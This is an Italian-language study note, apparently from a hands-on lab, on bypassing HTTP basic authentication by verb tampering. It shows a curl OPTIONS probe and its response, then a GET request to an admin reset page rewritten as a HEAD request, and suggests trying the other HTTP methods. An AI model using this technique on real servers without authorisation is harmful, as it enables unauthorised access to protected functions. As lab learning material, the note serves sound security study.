tags: Verb_Tampering_Bypassing_Basic_Authentication Bypassing_Basic_Authentication HTTP_Verb_Tampering
Quando ci troviamo di fronte ad una autenticazione HTTP basica possiamo provare a bypassarla semplicemente cambiando il metodo HTTP nella speranza che il server sia mal configurato e che quindi accetti la nostra richiesta senza fare troppe storia.
Per prima cosa è bene vedere quali metodi accetta il server e questo lo si può fare tramite curl:
curl -i -X OPTIONS http://SERVER_IP:PORT/
HTTP/1.1 200 OK
Date:
Server: Apache/2.4.41 (Ubuntu)
Allow: POST,OPTIONS,HEAD,GET
Content-Length: 0
Content-Type: httpd/unix-directoryIn questo esempio il server accetta POST,OPTIONS,HEAD,GET. Questa funzione è spesso disabilitata dagli amministratori quindi nel caso lo fosse dobbiamo provare manualmente ogni metodo e vedere come si comporta in genere si fa con curl.
Ora se per esempio la richiesta ad una determinata funzione del server ci risulta essere una cosa come questa:
GET /admin/reset.php? HTTP/1.1
Host: 94.237.61.202:36253
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://94.237.61.202:36253/
Accept-Encoding: gzip, deflate, br
Connection: keep-alivePossiamo provare a cambiare metodo e vedere se riusciamo a bypassarlo per esempio con il metodo HEAD che è permesso in questo caso dal server:
HEAD /admin/reset.php? HTTP/1.1
Host: 94.237.61.202:36253
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://94.237.61.202:36253/
Accept-Encoding: gzip, deflate, br
Connection: keep-aliveNel caso non dovesse funzionare possiamo provare con tutti gli altri 8 metodi nella speranza che uno funzioni.